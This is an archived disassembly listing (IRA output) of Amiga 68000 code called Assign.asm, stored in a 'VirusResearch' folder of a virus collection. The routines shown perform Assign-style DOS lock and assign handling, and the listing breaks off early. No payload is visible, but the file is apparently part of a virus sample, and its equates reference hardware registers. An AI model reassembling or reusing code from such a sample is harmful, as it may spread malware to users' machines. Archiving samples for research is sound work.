home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
telefisk.org
/
virusCollection.lzx
/
VirusResearch
/
str_atmos
/
Assign.asm
< prev
next >
Wrap
Assembly Source File
|
2011-06-24
|
49KB
|
1,790 lines
; IRA V1.02 (Sep 6 1993) (c)1993 Tim Ruehsen
EXT_0000 EQU $0
ABSEXECBASE EQU $4
HARDBASE EQU $DFF000
VHPOSR EQU $DFF006
COLOR00 EQU $DFF180
EXT_0005 EQU $F97FBC
EXT_0006 EQU $FC0000
SECTION S_0,CODE
SECSTRT_0:
LINK A5,#-1632 ;0000: 4E55F9A0
MOVEM.L D2-D7/A2-A3/A6,-(A7) ;0004: 48E73F32
MOVEA #$0004,A0 ;0008: 307C0004
MOVEA.L (A0),A1 ;000C: 2250
SUBA.L A0,A0 ;000E: 91C8
MOVE.L A0,-104(A5) ;0010: 2B48FF98
LEA -1608(A5),A6 ;0014: 4DEDF9B8
MOVE.L A6,-100(A5) ;0018: 2B4EFF9C
MOVE.L A0,-96(A5) ;001C: 2B48FFA0
MOVE.L #$000005DC,-92(A5) ;0020: 2B7C000005DCFFA4
MOVEQ #20,D5 ;0028: 7A14
MOVE.L A0,-36(A5) ;002A: 2B48FFDC
MOVE.L A1,52(A7) ;002E: 2F490034
MOVEA.L A1,A6 ;0032: 2C49
BSR LAB_0051 ;0034: 61000738
LEA LAB_0084(PC),A1 ;0038: 43FA0C20
MOVEQ #36,D0 ;003C: 7024
JSR -552(A6) ;003E: 4EAEFDD8
MOVEA.L D0,A3 ;0042: 2640
MOVEA.L A3,A0 ;0044: 204B
MOVE.L A0,48(A7) ;0046: 2F480030
MOVE.L A3,D0 ;004A: 200B
BEQ LAB_004E ;004C: 670006FA
MOVEQ #47,D0 ;0050: 702F
MOVEQ #0,D1 ;0052: 7200
LEA -84(A5),A1 ;0054: 43EDFFAC
LAB_0000:
MOVE.B D1,(A1)+ ;0058: 12C1
DBF D0,LAB_0000 ;005A: 51C8FFFC
LEA LAB_0085(PC),A1 ;005E: 43FA0C06
MOVE.L A1,D1 ;0062: 2209
LEA -84(A5),A0 ;0064: 41EDFFAC
MOVE.L A0,D2 ;0068: 2408
MOVEQ #0,D3 ;006A: 7600
MOVEA.L A3,A6 ;006C: 2C4B
JSR -798(A6) ;006E: 4EAEFCE2
MOVE.L D0,44(A7) ;0072: 2F40002C
TST.L D0 ;0076: 4A80
BNE LAB_0001 ;0078: 66000012
JSR -132(A6) ;007C: 4EAEFF7C
MOVE.L D0,D1 ;0080: 2200
MOVE.L D3,D2 ;0082: 2403
JSR -474(A6) ;0084: 4EAEFE26
BRA LAB_004A ;0088: 60000662
LAB_0001:
MOVEQ #0,D7 ;008C: 7E00
CLR.L -28(A5) ;008E: 42ADFFE4
MOVEA.L -84(A5),A2 ;0092: 246DFFAC
MOVEA.L A2,A1 ;0096: 224A
MOVE.L A1,40(A7) ;0098: 2F490028
MOVE.L A2,D1 ;009C: 220A
BEQ.S LAB_0007 ;009E: 6742
MOVEA.L A2,A3 ;00A0: 264A
BRA.S LAB_0003 ;00A2: 6002
LAB_0002:
ADDQ.L #1,A3 ;00A4: 528B
LAB_0003:
MOVEQ #58,D0 ;00A6: 703A
CMP.B (A3),D0 ;00A8: B013
BEQ.S LAB_0004 ;00AA: 6706
TST.B 1(A3) ;00AC: 4A2B0001
BNE.S LAB_0002 ;00B0: 66F2
LAB_0004:
MOVEQ #58,D0 ;00B2: 703A
CMP.B (A3),D0 ;00B4: B013
BNE.S LAB_0005 ;00B6: 6616
TST.B 1(A3) ;00B8: 4A2B0001
BNE.S LAB_0005 ;00BC: 6610
CMPA.L A2,A3 ;00BE: B7CA
BEQ.S LAB_0005 ;00C0: 670C
MOVE.L A2,D0 ;00C2: 200A
MOVE.L A3,D1 ;00C4: 220B
SUB.L D0,D1 ;00C6: 9280
MOVEQ #30,D0 ;00C8: 701E
CMP.L D0,D1 ;00CA: B280
BLS.S LAB_0006 ;00CC: 6312
LAB_0005:
LEA LAB_0088(PC),A0 ;00CE: 41FA0C14
MOVEQ #20,D5 ;00D2: 7A14
MOVEA.L 48(A7),A3 ;00D4: 266F0030
MOVE.L A0,-36(A5) ;00D8: 2B48FFDC
BRA LAB_004A ;00DC: 6000060E
LAB_0006:
CLR.B (A3) ;00E0: 4213
LAB_0007:
MOVEA.L -80(A5),A0 ;00E2: 206DFFB0
MOVE.L A0,-88(A5) ;00E6: 2B48FFA8
BEQ.S LAB_0008 ;00EA: 6704
MOVEA.L (A0),A0 ;00EC: 2050
BRA.S LAB_0009 ;00EE: 6002
LAB_0008:
SUBA.L A0,A0 ;00F0: 91C8
LAB_0009:
MOVEA.L A0,A2 ;00F2: 2448
MOVE.L -72(A5),D0 ;00F4: 202DFFB8
BEQ.S LAB_000A ;00F8: 6708
MOVEQ #0,D1 ;00FA: 7200
MOVE.L D1,-76(A5) ;00FC: 2B41FFB4
BRA.S LAB_000E ;0100: 6038
LAB_000A:
TST.L -48(A5) ;0102: 4AADFFD0
BNE.S LAB_000B ;0106: 660C
TST.L -44(A5) ;0108: 4AADFFD4
BNE.S LAB_000B ;010C: 6606
TST.L -40(A5) ;010E: 4AADFFD8
BEQ.S LAB_000C ;0112: 6708
LAB_000B:
MOVEQ #-1,D1 ;0114: 72FF
MOVE.L D1,-76(A5) ;0116: 2B41FFB4
BRA.S LAB_000E ;011A: 601E
LAB_000C:
TST.L -76(A5) ;011C: 4AADFFB4
BNE.S LAB_000D ;0120: 6606
MOVE.L 40(A7),D1 ;0122: 222F0028
BNE.S LAB_000E ;0126: 6612
LAB_000D:
MOVEQ #-1,D1 ;0128: 72FF
MOVE.L D1,-40(A5) ;012A: 2B41FFD8
MOVE.L D1,-44(A5) ;012E: 2B41FFD4
MOVE.L D1,-48(A5) ;0132: 2B41FFD0
MOVE.L D1,-76(A5) ;0136: 2B41FFB4
LAB_000E:
MOVE.L A2,D1 ;013A: 220A
BNE.S LAB_0010 ;013C: 662A
TST.L -64(A5) ;013E: 4AADFFC0
BNE.S LAB_000F ;0142: 6612
TST.L -60(A5) ;0144: 4AADFFC4
BNE.S LAB_000F ;0148: 660C
TST.L -56(A5) ;014A: 4AADFFC8
BNE.S LAB_000F ;014E: 6606
TST.L -52(A5) ;0150: 4AADFFCC
BEQ.S LAB_0010 ;0154: 6712
LAB_000F:
MOVEQ #0,D1 ;0156: 7200
MOVE.L D1,-52(A5) ;0158: 2B41FFCC
MOVE.L D1,-56(A5) ;015C: 2B41FFC8
MOVE.L D1,-60(A5) ;0160: 2B41FFC4
MOVE.L D1,-64(A5) ;0164: 2B41FFC0
LAB_0010:
TST.L -52(A5) ;0168: 4AADFFCC
SNE D1 ;016C: 56C1
NEG.B D1 ;016E: 4401
EXT D1 ;0170: 4881
EXT.L D1 ;0172: 48C1
TST.L -60(A5) ;0174: 4AADFFC4
SNE D2 ;0178: 56C2
NEG.B D2 ;017A: 4402
EXT D2 ;017C: 4882
EXT.L D2 ;017E: 48C2
TST.L -64(A5) ;0180: 4AADFFC0
SNE D3 ;0184: 56C3
NEG.B D3 ;0186: 4403
EXT D3 ;0188: 4883
EXT.L D3 ;018A: 48C3
TST.L -56(A5) ;018C: 4AADFFC8
SNE D0 ;0190: 56C0
NEG.B D0 ;0192: 4400
EXT D0 ;0194: 4880
EXT.L D0 ;0196: 48C0
ADD.L D3,D0 ;0198: D083
ADD.L D2,D0 ;019A: D082
ADD.L D1,D0 ;019C: D081
MOVEQ #1,D1 ;019E: 7201
CMP.L D1,D0 ;01A0: B081
BLE.S LAB_0011 ;01A2: 6F12
LEA LAB_008A(PC),A0 ;01A4: 41FA0B56
MOVEQ #20,D5 ;01A8: 7A14
MOVEA.L 48(A7),A3 ;01AA: 266F0030
MOVE.L A0,-36(A5) ;01AE: 2B48FFDC
BRA LAB_004A ;01B2: 60000538
LAB_0011:
TST.L 40(A7) ;01B6: 4AAF0028
BEQ LAB_0027 ;01BA: 6700024E
TST.L -72(A5) ;01BE: 4AADFFB8
BNE LAB_0027 ;01C2: 66000246
TST.L -68(A5) ;01C6: 4AADFFBC
BNE LAB_0027 ;01CA: 6600023E
LAB_0012:
MOVEA.L 48(A7),A3 ;01CE: 266F0030
MOVE.L #$00001000,D1 ;01D2: 223C00001000
MOVEA.L A3,A6 ;01D8: 2C4B
JSR -792(A6) ;01DA: 4EAEFCE8
TST.L D0 ;01DE: 4A80
BEQ.S LAB_0013 ;01E0: 6718
MOVE.L #$00000130,D1 ;01E2: 223C00000130
MOVEQ #0,D2 ;01E8: 7400
JSR -474(A6) ;01EA: 4EAEFE26
MOVEQ #20,D5 ;01EE: 7A14
MOVE.L #$00000130,D7 ;01F0: 2E3C00000130
BRA LAB_004A ;01F6: 600004F4
LAB_0013:
MOVEA.L 48(A7),A3 ;01FA: 266F0030
MOVE.L -28(A5),D5 ;01FE: 2A2DFFE4
TST.L -64(A5) ;0202: 4AADFFC0
BEQ.S LAB_0017 ;0206: 675A
PEA -1608(A5) ;0208: 486DF9B8
MOVE.L A2,-(A7) ;020C: 2F0A
MOVE.L #$000005DC,D0 ;020E: 203C000005DC
MOVEA.L A3,A0 ;0214: 204B
MOVEA.L 48(A7),A1 ;0216: 226F0030
BSR LAB_00CD ;021A: 61000DD0
ADDQ #8,A7 ;021E: 504F
MOVE.L D0,-36(A5) ;0220: 2B40FFDC
BEQ.S LAB_0016 ;0224: 6718
MOVEQ #20,D5 ;0226: 7A14
MOVEQ #-1,D0 ;0228: 70FF
CMP.L D0,D7 ;022A: BE80
BNE.S LAB_0014 ;022C: 6608
MOVEA.L A3,A6 ;022E: 2C4B
JSR -132(A6) ;0230: 4EAEFF7C
BRA.S LAB_0015 ;0234: 6002
LAB_0014:
MOVEQ #0,D0 ;0236: 7000
LAB_0015:
MOVE.L D0,D7 ;0238: 2E00
BRA LAB_0026 ;023A: 600001AE
LAB_0016:
MOVE.L 40(A7),D1 ;023E: 222F0028
MOVE.L A2,D2 ;0242: 240A
MOVEA.L A3,A6 ;0244: 2C4B
JSR -618(A6) ;0246: 4EAEFD96
TST D0 ;024A: 4A40
BNE LAB_0026 ;024C: 6600019C
LEA LAB_008D(PC),A1 ;0250: 43FA0AD8
MOVE.L A1,-36(A5) ;0254: 2B49FFDC
JSR -132(A6) ;0258: 4EAEFF7C
MOVE.L D0,D7 ;025C: 2E00
BRA LAB_0026 ;025E: 6000018A
LAB_0017:
MOVEQ #0,D6 ;0262: 7C00
MOVE.L A2,D0 ;0264: 200A
BEQ.S LAB_0018 ;0266: 672C
TST.L -60(A5) ;0268: 4AADFFC4
BNE.S LAB_0018 ;026C: 6626
MOVE.L A2,D1 ;026E: 220A
MOVEQ #-2,D2 ;0270: 74FE
MOVEA.L A3,A6 ;0272: 2C4B
JSR -84(A6) ;0274: 4EAEFFAC
MOVE.L D0,D6 ;0278: 2C00
TST.L D6 ;027A: 4A86
BNE.S LAB_0018 ;027C: 6616
LEA LAB_008E(PC),A0 ;027E: 41FA0ABC
MOVE.L A0,-36(A5) ;0282: 2B48FFDC
JSR -132(A6) ;0286: 4EAEFF7C
MOVE.L D0,D7 ;028A: 2E00
MOVE.L A2,-84(A5) ;028C: 2B4AFFAC
BRA LAB_004A ;0290: 6000045A
LAB_0018:
MOVEA.L 48(A7),A3 ;0294: 266F0030
MOVE.L -28(A5),D5 ;0298: 2A2DFFE4
TST.L -56(A5) ;029C: 4AADFFC8
BNE.S LAB_0019 ;02A0: 6608
TST.L -52(A5) ;02A2: 4AADFFCC
BEQ LAB_0020 ;02A6: 670000BC
LAB_0019:
MOVEQ #18,D1 ;02AA: 7212
MOVEA.L A3,A6 ;02AC: 2C4B
JSR -654(A6) ;02AE: 4EAEFD72
MOVE.L D0,D1 ;02B2: 2200
MOVE.L 40(A7),D2 ;02B4: 242F0028
MOVEQ #16,D3 ;02B8: 7610
JSR -684(A6) ;02BA: 4EAEFD54
MOVE.L D0,36(A7) ;02BE: 2F400024
TST.L D0 ;02C2: 4A80
BEQ.S LAB_001E ;02C4: 6754
MOVEQ #1,D1 ;02C6: 7201
MOVEA.L D0,A0 ;02C8: 2040
CMP.L 4(A0),D1 ;02CA: B2A80004
BNE.S LAB_001B ;02CE: 6626
TST.L -56(A5) ;02D0: 4AADFFC8
BEQ.S LAB_001A ;02D4: 670C
MOVE.L D2,D1 ;02D6: 2202
MOVE.L D6,D2 ;02D8: 2406
JSR -630(A6) ;02DA: 4EAEFD8A
TST D0 ;02DE: 4A40
BEQ.S LAB_001B ;02E0: 6714
LAB_001A:
TST.L -52(A5) ;02E2: 4AADFFCC
BEQ.S LAB_001E ;02E6: 6732
MOVE.L 40(A7),D1 ;02E8: 222F0028
MOVE.L D6,D2 ;02EC: 2406
JSR -636(A6) ;02EE: 4EAEFD84
TST.L D0 ;02F2: 4A80
BNE.S LAB_001E ;02F4: 6624
LAB_001B:
TST.L -52(A5) ;02F6: 4AADFFCC
BEQ.S LAB_001C ;02FA: 6706
LEA LAB_008F(PC),A0 ;02FC: 41FA0A4E
BRA.S LAB_001D ;0300: 6004
LAB_001C:
LEA LAB_0090(PC),A0 ;0302: 41FA0A64
LAB_001D:
MOVE.L A2,-84(A5) ;0306: 2B4AFFAC
MOVE.L 40(A7),-80(A5) ;030A: 2B6F0028FFB0
MOVE.L A0,-36(A5) ;0310: 2B48FFDC
JSR -132(A6) ;0314: 4EAEFF7C
MOVE.L D0,D7 ;0318: 2E00
LAB_001E:
MOVEQ #18,D1 ;031A: 7212
JSR -660(A6) ;031C: 4EAEFD6C
TST.L -52(A5) ;0320: 4AADFFCC
BEQ.S LAB_001F ;0324: 6706
MOVE.L D6,D1 ;0326: 2206
JSR -90(A6) ;0328: 4EAEFFA6
LAB_001F:
TST.L 36(A7) ;032C: 4AAF0024
BNE LAB_0026 ;0330: 660000B8
TST.L -52(A5) ;0334: 4AADFFCC
BNE LAB_0026 ;0338: 660000B0
MOVE.L 40(A7),D1 ;033C: 222F0028
MOVE.L D6,D2 ;0340: 2406
JSR -612(A6) ;0342: 4EAEFD9C
TST.L D0 ;0346: 4A80
BNE LAB_0026 ;0348: 660000A0
LEA LAB_008D(PC),A0 ;034C: 41FA09DC
MOVE.L A0,-36(A5) ;0350: 2B48FFDC
JSR -132(A6) ;0354: 4EAEFF7C
MOVE.L D0,D7 ;0358: 2E00
MOVE.L D2,D1 ;035A: 2202
JSR -90(A6) ;035C: 4EAEFFA6
BRA LAB_0026 ;0360: 60000088
LAB_0020:
TST.L -60(A5) ;0364: 4AADFFC4
BEQ.S LAB_0024 ;0368: 675C
MOVE.L D6,D1 ;036A: 2206
MOVEA.L A3,A6 ;036C: 2C4B
JSR -90(A6) ;036E: 4EAEFFA6
PEA -1608(A5) ;0372: 486DF9B8
MOVE.L A2,-(A7) ;0376: 2F0A
MOVE.L #$000005DC,D0 ;0378: 203C000005DC
MOVEA.L A3,A0 ;037E: 204B
MOVEA.L 48(A7),A1 ;0380: 226F0030
BSR LAB_00CD ;0384: 61000C66
ADDQ #8,A7 ;0388: 504F
MOVE.L D0,-36(A5) ;038A: 2B40FFDC
BEQ.S LAB_0023 ;038E: 6716
MOVEQ #20,D5 ;0390: 7A14
MOVEQ #-1,D0 ;0392: 70FF
CMP.L D0,D7 ;0394: BE80
BNE.S LAB_0021 ;0396: 6608
MOVEA.L A3,A6 ;0398: 2C4B
JSR -132(A6) ;039A: 4EAEFF7C
BRA.S LAB_0022 ;039E: 6002
LAB_0021:
MOVEQ #0,D0 ;03A0: 7000
LAB_0022:
MOVE.L D0,D7 ;03A2: 2E00
BRA.S LAB_0026 ;03A4: 6044
LAB_0023:
MOVE.L 40(A7),D1 ;03A6: 222F0028
MOVE.L A2,D2 ;03AA: 240A
MOVEA.L A3,A6 ;03AC: 2C4B
JSR -624(A6) ;03AE: 4EAEFD90
TST D0 ;03B2: 4A40
BNE.S LAB_0026 ;03B4: 6634
LEA LAB_008D(PC),A0 ;03B6: 41FA0972
MOVE.L A0,-36(A5) ;03BA: 2B48FFDC
JSR -132(A6) ;03BE: 4EAEFF7C
MOVE.L D0,D7 ;03C2: 2E00
BRA.S LAB_0026 ;03C4: 6024
LAB_0024:
MOVE.L 40(A7),D1 ;03C6: 222F0028
MOVE.L D6,D2 ;03CA: 2406
MOVEA.L A3,A6 ;03CC: 2C4B
JSR -612(A6) ;03CE: 4EAEFD9C
ADDQ.L #1,D0 ;03D2: 5280
BEQ.S LAB_0025 ;03D4: 670E
LEA LAB_0091(PC),A0 ;03D6: 41FA09A4
MOVE.L A0,-36(A5) ;03DA: 2B48FFDC
JSR -132(A6) ;03DE: 4EAEFF7C
MOVE.L D0,D7 ;03E2: 2E00
LAB_0025:
MOVEQ #-1,D0 ;03E4: 70FF
MOVE.L D0,-56(A5) ;03E6: 2B40FFC8
LAB_0026:
MOVE.L D5,-28(A5) ;03EA: 2B45FFE4
TST.L -36(A5) ;03EE: 4AADFFDC
BNE LAB_004A ;03F2: 660002F8
MOVE.L A2,D0 ;03F6: 200A
BEQ.S LAB_0027 ;03F8: 6710
ADDQ.L #4,-88(A5) ;03FA: 58ADFFA8
MOVEA.L -88(A5),A0 ;03FE: 206DFFA8
MOVEA.L (A0),A2 ;0402: 2450
MOVE.L A2,D0 ;0404: 200A
BNE LAB_0012 ;0406: 6600FDC6
LAB_0027:
MOVEA.L 48(A7),A3 ;040A: 266F0030
TST.L -68(A5) ;040E: 4AADFFBC
BEQ.S LAB_0029 ;0412: 672C
MOVEA.L 40(A7),A2 ;0414: 246F0028
MOVE.L A2,D0 ;0418: 200A
BEQ.S LAB_0029 ;041A: 6724
MOVEQ #30,D1 ;041C: 721E
MOVEA.L A3,A6 ;041E: 2C4B
JSR -654(A6) ;0420: 4EAEFD72
MOVE.L D0,D1 ;0424: 2200
MOVE.L A2,D2 ;0426: 240A
MOVEQ #28,D3 ;0428: 761C
JSR -684(A6) ;042A: 4EAEFD54
MOVEA.L D0,A2 ;042E: 2440
MOVE.L A2,D0 ;0430: 200A
BEQ.S LAB_0028 ;0432: 6706
MOVE.L A2,D1 ;0434: 220A
JSR -672(A6) ;0436: 4EAEFD60
LAB_0028:
MOVEQ #30,D1 ;043A: 721E
JSR -660(A6) ;043C: 4EAEFD6C
LAB_0029:
TST.L -76(A5) ;0440: 4AADFFB4
BNE.S LAB_002A ;0444: 660C
MOVE.L -28(A5),D5 ;0446: 2A2DFFE4
TST.L -72(A5) ;044A: 4AADFFB8
BEQ LAB_004A ;044E: 6700029C
LAB_002A:
MOVEQ #0,D5 ;0452: 7A00
MOVEQ #0,D4 ;0454: 7800
CLR.L -32(A5) ;0456: 42ADFFE0
LEA -48(A5),A2 ;045A: 45EDFFD0
BRA LAB_0048 ;045E: 60000252
LAB_002B:
TST.L D5 ;0462: 4A85
BNE.S LAB_002C ;0464: 6608
LEA LAB_0093(PC),A3 ;0466: 47FA0926
MOVEQ #8,D6 ;046A: 7C08
BRA.S LAB_002E ;046C: 6014
LAB_002C:
MOVEQ #1,D0 ;046E: 7001
CMP.L D0,D5 ;0470: BA80
BNE.S LAB_002D ;0472: 6608
LEA LAB_0096(PC),A3 ;0474: 47FA0922
MOVEQ #16,D6 ;0478: 7C10
BRA.S LAB_002E ;047A: 6006
LAB_002D:
LEA LAB_0098(PC),A3 ;047C: 47FA092A
MOVEQ #4,D6 ;0480: 7C04
LAB_002E:
TST.L -76(A5) ;0482: 4AADFFB4
BEQ.S LAB_002F ;0486: 6710
TST.L (A2) ;0488: 4A92
BEQ LAB_0047 ;048A: 6700021E
MOVE.L A3,D1 ;048E: 220B
MOVEA.L 48(A7),A6 ;0490: 2C6F0030
JSR -948(A6) ;0494: 4EAEFC4C
LAB_002F:
LEA -104(A5),A0 ;0498: 41EDFF98
MOVE.L A0,-108(A5) ;049C: 2B48FF94
MOVE.L D6,D0 ;04A0: 2006
ORI #$0001,D0 ;04A2: 00400001
MOVEA.L 48(A7),A3 ;04A6: 266F0030
MOVE.L D0,36(A7) ;04AA: 2F400024
MOVE.L D0,D1 ;04AE: 2200
MOVEA.L A3,A6 ;04B0: 2C4B
JSR -654(A6) ;04B2: 4EAEFD72
MOVEA.L D0,A2 ;04B6: 2440
MOVE.L A2,D0 ;04B8: 200A
BNE LAB_0045 ;04BA: 660001B0
LEA LAB_008D(PC),A1 ;04BE: 43FA086A
MOVE.L A1,-36(A5) ;04C2: 2B49FFDC
JSR -132(A6) ;04C6: 4EAEFF7C
MOVE.L D0,D7 ;04CA: 2E00
MOVE.L -28(A5),D5 ;04CC: 2A2DFFE4
BRA LAB_004A ;04D0: 6000021A
LAB_0030:
TST.L -72(A5) ;04D4: 4AADFFB8
BEQ.S LAB_0031 ;04D8: 671C
MOVE.L A2,D1 ;04DA: 220A
MOVE.L 40(A7),D2 ;04DC: 242F0028
MOVE.L D6,D3 ;04E0: 2606
MOVEA.L A3,A6 ;04E2: 2C4B
JSR -684(A6) ;04E4: 4EAEFD54
MOVEA.L D0,A2 ;04E8: 2440
MOVE.L A2,D0 ;04EA: 200A
BEQ LAB_0046 ;04EC: 67000194
MOVEQ #1,D0 ;04F0: 7001
MOVE.L D0,-32(A5) ;04F2: 2B40FFE0
LAB_0031:
MOVE.L 40(A2),D0 ;04F6: 202A0028
ASL.L #2,D0 ;04FA: E580
MOVEA.L D0,A0 ;04FC: 2040
MOVE.B (A0),D7 ;04FE: 1E10
EXT D7 ;0500: 4887
EXT.L D7 ;0502: 48C7
LEA 1(A0),A1 ;0504: 43E80001
MOVEA.L A1,A0 ;0508: 2049
MOVE.L D7,D0 ;050A: 2007
LEA -108(A5),A1 ;050C: 43EDFF94
BSR LAB_00BA ;0510: 610009C6
MOVE.L D5,D0 ;0514: 2005
TST.L D0 ;0516: 4A80
BEQ.S LAB_0032 ;0518: 670E
SUBQ.L #1,D0 ;051A: 5380
BEQ.S LAB_0038 ;051C: 6744
SUBQ.L #1,D0 ;051E: 5380
BEQ LAB_0042 ;0520: 6700011C
BRA LAB_0045 ;0524: 60000146
LAB_0032:
MOVE.L 8(A2),D0 ;0528: 202A0008
BEQ.S LAB_0033 ;052C: 6706
LEA LAB_009A(PC),A0 ;052E: 41FA0884
BRA.S LAB_0034 ;0532: 6004
LAB_0033:
LEA LAB_009B(PC),A0 ;0534: 41FA088A
LAB_0034:
MOVEA.L A0,A3 ;0538: 2648
TST.L D0 ;053A: 4A80
BEQ.S LAB_0035 ;053C: 6706
LEA LAB_009A(PC),A0 ;053E: 41FA0874
BRA.S LAB_0036 ;0542: 6004
LAB_0035:
LEA LAB_009B(PC),A0 ;0544: 41FA087A
LAB_0036:
MOVEA.L A0,A1 ;0548: 2248
LAB_0037:
TST.B (A1)+ ;054A: 4A19
BNE.S LAB_0037 ;054C: 66FC
SUBQ.L #1,A1 ;054E: 5389
SUBA.L A0,A1 ;0550: 93C8
MOVE.L A1,D0 ;0552: 2009
MOVEA.L A3,A0 ;0554: 204B
LEA -108(A5),A1 ;0556: 43EDFF94
BSR LAB_00BA ;055A: 6100097C
BRA LAB_0045 ;055E: 6000010C
LAB_0038:
MOVEA.L 16(A2),A3 ;0562: 266A0010
MOVEQ #15,D0 ;0566: 700F
CMP.L D0,D7 ;0568: BE80
BGE.S LAB_0039 ;056A: 6C04
SUB.L D7,D0 ;056C: 9087
BRA.S LAB_003A ;056E: 6002
LAB_0039:
MOVEQ #1,D0 ;0570: 7001
LAB_003A:
LEA LAB_009C(PC),A0 ;0572: 41FA084E
LEA -108(A5),A1 ;0576: 43EDFF94
BSR LAB_00BA ;057A: 6100095C
MOVE.L 4(A2),D0 ;057E: 202A0004
SUBQ.L #1,D0 ;0582: 5380
BEQ.S LAB_003B ;0584: 670C
SUBQ.L #2,D0 ;0586: 5580
BEQ.S LAB_003E ;0588: 674C
SUBQ.L #1,D0 ;058A: 5380
BEQ.S LAB_0040 ;058C: 677C
BRA LAB_0045 ;058E: 600000DC
LAB_003B:
MOVE.L 12(A2),D0 ;0592: 202A000C
MOVEA.L 48(A7),A0 ;0596: 206F0030
LEA -108(A5),A1 ;059A: 43EDFF94
BSR LAB_00AB ;059E: 6100088E
MOVEA.L 20(A2),A3 ;05A2: 266A0014
MOVE.L A3,D0 ;05A6: 200B
BEQ LAB_0045 ;05A8: 670000C2
BRA.S LAB_003D ;05AC: 6020
LAB_003C:
MOVEQ #15,D0 ;05AE: 700F
LEA LAB_009F(PC),A0 ;05B0: 41FA0820
LEA -108(A5),A1 ;05B4: 43EDFF94
BSR LAB_00BA ;05B8: 6100091E
MOVE.L 4(A3),D0 ;05BC: 202B0004
MOVEA.L 48(A7),A0 ;05C0: 206F0030
LEA -108(A5),A1 ;05C4: 43EDFF94
BSR LAB_00AB ;05C8: 61000864
MOVEA.L (A3),A3 ;05CC: 2653
LAB_003D:
MOVE.L A3,D0 ;05CE: 200B
BNE.S LAB_003C ;05D0: 66DC
BRA LAB_0045 ;05D2: 60000098
LAB_003E:
MOVEQ #1,D0 ;05D6: 7001
LEA LAB_00A1(PC),A0 ;05D8: 41FA0808
LEA -108(A5),A1 ;05DC: 43EDFF94
BSR LAB_00BA ;05E0: 610008F6
MOVEA.L A3,A0 ;05E4: 204B
LAB_003F:
TST.B (A0)+ ;05E6: 4A18
BNE.S LAB_003F ;05E8: 66FC
SUBQ.L #1,A0 ;05EA: 5388
SUBA.L A3,A0 ;05EC: 91CB
MOVE.L A0,D0 ;05EE: 2008
MOVEA.L A3,A0 ;05F0: 204B
LEA -108(A5),A1 ;05F2: 43EDFF94
BSR LAB_00BA ;05F6: 610008E0
MOVEQ #2,D0 ;05FA: 7002
LEA LAB_00A2(PC),A0 ;05FC: 41FA07E6
LEA -108(A5),A1 ;0600: 43EDFF94
BSR LAB_00BA ;0604: 610008D2
BRA.S LAB_0045 ;0608: 6062
LAB_0040:
MOVEQ #1,D0 ;060A: 7001
LEA LAB_00A3(PC),A0 ;060C: 41FA07DA
LEA -108(A5),A1 ;0610: 43EDFF94
BSR LAB_00BA ;0614: 610008C2
MOVEA.L A3,A0 ;0618: 204B
LAB_0041:
TST.B (A0)+ ;061A: 4A18
BNE.S LAB_0041 ;061C: 66FC
SUBQ.L #1,A0 ;061E: 5388
SUBA.L A3,A0 ;0620: 91CB
MOVE.L A0,D0 ;0622: 2008
MOVEA.L A3,A0 ;0624: 204B
LEA -108(A5),A1 ;0626: 43EDFF94
BSR LAB_00BA ;062A: 610008AC
MOVEQ #2,D0 ;062E: 7002
LEA LAB_00A4(PC),A0 ;0630: 41FA07B8
LEA -108(A5),A1 ;0634: 43EDFF94
BSR LAB_00BA ;0638: 6100089E
BRA.S LAB_0045 ;063C: 602E
LAB_0042:
TST.L -72(A5) ;063E: 4AADFFB8
BNE.S LAB_0043 ;0642: 6608
ADDQ.L #1,D4 ;0644: 5284
MOVEQ #5,D0 ;0646: 7005
CMP.L D0,D4 ;0648: B880
BNE.S LAB_0044 ;064A: 6612
LAB_0043:
MOVEQ #0,D4 ;064C: 7800
MOVEQ #1,D0 ;064E: 7001
LEA LAB_009B(PC),A0 ;0650: 41FA076E
LEA -108(A5),A1 ;0654: 43EDFF94
BSR LAB_00BA ;0658: 6100087E
BRA.S LAB_0045 ;065C: 600E
LAB_0044:
MOVEQ #1,D0 ;065E: 7001
LEA LAB_00A5(PC),A0 ;0660: 41FA078C
LEA -108(A5),A1 ;0664: 43EDFF94
BSR LAB_00BA ;0668: 6100086E
LAB_0045:
MOVEA.L 48(A7),A3 ;066C: 266F0030
MOVE.L A2,D1 ;0670: 220A
MOVE.L D6,D2 ;0672: 2406
MOVEA.L A3,A6 ;0674: 2C4B
JSR -690(A6) ;0676: 4EAEFD4E
MOVEA.L D0,A2 ;067A: 2440
MOVE.L A2,D0 ;067C: 200A
BNE LAB_0030 ;067E: 6600FE54
LAB_0046:
MOVE.L 36(A7),D1 ;0682: 222F0024
MOVEA.L A3,A6 ;0686: 2C4B
JSR -660(A6) ;0688: 4EAEFD6C
MOVEA.L A3,A0 ;068C: 204B
LEA -104(A5),A1 ;068E: 43EDFF98
BSR LAB_00C3 ;0692: 610008E4
MOVE.L D0,D7 ;0696: 2E00
TST.L D7 ;0698: 4A87
BEQ.S LAB_0047 ;069A: 670E
MOVEQ #20,D5 ;069C: 7A14
MOVE.L D7,D1 ;069E: 2207
MOVEQ #0,D2 ;06A0: 7400
MOVEA.L A3,A6 ;06A2: 2C4B
JSR -474(A6) ;06A4: 4EAEFE26
BRA.S LAB_004A ;06A8: 6042
LAB_0047:
ADDQ.L #1,D5 ;06AA: 5285
MOVEA.L -1612(A5),A2 ;06AC: 246DF9B4
ADDQ.L #4,A2 ;06B0: 588A
LAB_0048:
MOVE.L A2,-1612(A5) ;06B2: 2B4AF9B4
MOVEQ #3,D0 ;06B6: 7003
CMP.L D0,D5 ;06B8: BA80
BLT LAB_002B ;06BA: 6D00FDA6
MOVEA.L 48(A7),A3 ;06BE: 266F0030
TST.L D4 ;06C2: 4A84
BLE.S LAB_0049 ;06C4: 6F0C
LEA LAB_009B(PC),A0 ;06C6: 41FA06F8
MOVE.L A0,D1 ;06CA: 2208
MOVEA.L A3,A6 ;06CC: 2C4B
JSR -948(A6) ;06CE: 4EAEFC4C
LAB_0049:
MOVE.L -28(A5),D5 ;06D2: 2A2DFFE4
TST.L -72(A5) ;06D6: 4AADFFB8
BEQ.S LAB_004A ;06DA: 6710
TST.L -32(A5) ;06DC: 4AADFFE0
BNE.S LAB_004A ;06E0: 660A
LEA LAB_00A6(PC),A0 ;06E2: 41FA070C
MOVEQ #5,D5 ;06E6: 7A05
MOVE.L A0,-36(A5) ;06E8: 2B48FFDC
LAB_004A:
MOVE.L -104(A5),-108(A5) ;06EC: 2B6DFF98FF94
BRA.S LAB_004C ;06F2: 601E
LAB_004B:
